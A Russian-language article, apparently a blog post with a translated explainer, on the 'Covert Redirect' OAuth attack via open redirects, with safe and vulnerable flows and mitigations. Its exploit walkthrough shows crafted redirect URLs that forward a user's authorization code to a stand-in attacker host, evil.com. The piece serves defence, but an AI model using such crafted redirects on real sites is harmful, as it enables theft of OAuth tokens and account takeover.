Covert Redirect уязвимость в приложениях использующих OAUTH

OAUTH
Covert Redirect Vulnerability — уязвимость скрытого(тайного) перенаправления.

Забавная вещь, которую должен знать каждый, кто использует OAUTH в своих приложениях.

Вам как изложить? Кратко или длинно?

Если кратко:
====================
Для начала на вашем сайте должна быть возможность редиректа на другой URL. Так называемый Open Redirect. Что-то вроде такого
http://example.com/redirect/?&original_page=http://blablabla

  • Злоумышленник каким-то образом даёт пользователю фейковую страницу авторизации на ваш сайт
  • Пользователь с этой страницы посылает запрос OAUTH-провайдеру
  • После проверки провайдер пересылает пользователя на ваш сайт по указанному redirect_uri.
  • Но злоумышленник подобрал redirect_uri таким образом, что
    1. Он находится на вашем сайте
    2. Он выполняет редирект на его сайт
  • В случае удачи злоумышленник получает OAUTH-токен

Covert-Redirect

Если длинно:
====================

Если после краткого описания остались вопросы, то прилагаю сюда перевод одного замечательного материала от Danny Thorpe. Осторожно, много букв:


Этим утром кругом мельтешат заголовки о “серьёзной дыре в безопасности” (т.н. “Covert Redirect”) которая была открыта в OAuth и OpenID, которая может быть использована сайтами злоумышленников для захвата пользовательских персональных данных. Кроме того, эти “отчёты” включают комментарии крупнейших OAUTH-провайдеров(Google, Microsoft, Facebook), что они “не могут исправить это”.

Описание:

Это не уязвимость собственно OAuth. Эксплоиту требуется наличие возможности открытого редиректа на вашем сайте. Если у вас на сайте есть такой URL, который не глядя перенаправляет браузер на любой URL, который укажут в параметрах строки запроса, то ВЫ имеете серьёзную дыру в безопасности вашего сайта, который может быть атакован для получения персональных данных пользователя и управления аккаунтом пользователя на вашем сайте. Это не уязвимость OAuth. Открытый редирект (Open redirect) может быть использован для взлома множества сервисов. Открытые редиректы десятилетиями считаются Очень Плохой Идеей

Решение:

  1. Не раскрывайте открытые редиректы на вашем сайте (хм!)
  2. Или если вы раскрываете конечный пункт перенаправления, ограничьте URL назначения вашими доменами
  3. Если вы всё-таки должны перенаправлять на совершенно сторонний домен (серьёзно?? зачем???), хотя бы вырезайте из строки запроса параметры (query params)

Детали:

OAUTH авторизация обычно включает в себя веб-сайт (example.com), что делает запрос логина на сайт аутентификации (Google, ком, facebook.com и т.д.). Сайт предлагает пользователю войти на сайт провайдера авторизации (google.com, например), который затем выдаёт авторизационный код или токен исходному сайту (example.com). Этот токен передаётся от провайдера к исходному сайту путём перенаправления браузера на соответствующий URL на исходном сайте. Токен обычно передаётся как параметр прямо в URL запросе.

Большинство провайдеров перенаправляют только на URL с доменным именем, которое указано в настройках приложения. Это сделано, чтобы их самих не использовали как открытый редирект. Google, Microsoft, и проч. далеко не дураки.

Прим: У Facebook в настройках приложения есть поддержка белого списка URL для редиректа, но Facebook не требует его заполнения. Если ваше приложение Facebook использует настройки по-умолчанию, ваши пользователи уязвимы для описываемой атаки и могут потерять информацию. Установите OAuth redirect URL в настройках Facebook чтобы закрыть эту уязвимость.

Примеры
(для ясности, URL в строках запроса в примерах ниже незакодированы)

Безопасно:

  1. Ваш сайт example.com просит пользователя войти с использованием auth-провайтера, и закладывает в запрос URL возврата для получения токена:
    https://example.com/receiveAuthCode
  2. Auth-провайдер проверяет пользователя
  3. Auth-провайдер проверяет, соответствует ли данный URL возврата (example.com/receiveAuthCode) настойкам приложения для example.com.
  4. Auth-провайдер перенаправляет пользователя на https://example.com/receiveAuthCode и добавляет авторизационный код как параметр запроса:
    https://example.com/receiveAuthCode/?&code=asdfewreaf12321
  5. https://example.com/receiveAuthCode получает код и обращается обратно к провайдеру чтобы получить токен, который в дальнейшем может быть использован для доступа к страницам example.com

Уязвимо:

  1. Пользователь заходит на страницу http://example.com/myprofile
  2. Сайт Example.com видит, что пользователь не вошёл на сайт и перенаправляет его к auth-провайдеру для входа и прилагает URL для возврата:
    https://example.com/redirect/?&original_page=https://example.com/myprofile
  3. Auth-провайдер выполняет проверку пользователя, проверку домена URL возврата и выполняет редирект
  4. Example.com/redirect перенаправляет дальше на https://example.com/myprofile И ПЕРЕДАЁТ параметры запроса перенаправляемому URL:
    https://example.com/myprofile/&code=asdfasdfasd3456
  5. example.com/myprofile получает код и делает всё остальное для получение токена и завершения авторизации.

Эксплоит:

  1. Плохой парень Evil.com обнаружил, что ваш сайт example.com имеет Open Redirect (example.com/redirect)
  2. Плохой парень Evil.com много думал и составил с нуля новый url для возврата от auth-провайдера, заменив часть example.com/myprofile на что-то своё, наподобие evil.com/gotcha:
    authredirect=https://example.com/redirect/?&original_page=http://evil.com/gotcha

  3. Плохой парень Evil.com ухитряется заставить пользователя кликнуть по ссылке, которая отправил его на проверку к auth-провайдеру, но со своей заранее приготовленной ссылкой возврата
  4. Пользователь во время логина видит “example.com” в качестве приложения.
  5. Auth-провайдер проверяет пользователя, проверяет домен для возврата и после этого перенаправляет пользователя по указанному URL с добавленным кодом авторизации:
    http://example.com/redirect?&original_page=https://evil.com/gotcha&code=sdfgsfdgqwr542

  6. Example.com/redirect перенаправляет пользователя на https://evil.com/gotcha И ПЕРЕДАЁТ туда параметры:
    https://evil.com/gotcha/?&code=sdfgsfdgqwr542

  7. Evil.com теперь может по имеющемуся коду получить токен, и использовать его для получения пользовательских данных от auth-провайдера и потенциально полный доступ к аккаунту пользователя на example.com (зависит от системы авторизации на сайте)

Решение:
Не так сложно избежать взлома с Open Redirect:

  1. Проверьте, что вы указали Redirect URI в настройках приложения у вашего auth-провайдера.
  2. Не реализуйте таких редиректов на своём сайте.
  3. Если такие редиректы нужны для работы вашего сайта, ограничьте перенаправления вашим сайтом. Не передавайте параметры запроса при перенаправлении. Выполняйте обработку авторизационного кода и получения токена сразу, а также сохраняйте токен в сессию прежде чем выполните любые редиректы

Есть резонные соображения для реализации некоторого количества перенаправлений на вашем сайте. Наиболее распространённое: после завершения входа перенаправление на домашнюю страницу, или страницу, которую пользователь изначально запрашивал. Такое использование редиректов должно быть жёстко ограничено для переходов только внутри вашего домена.

Ссылка на источник
==================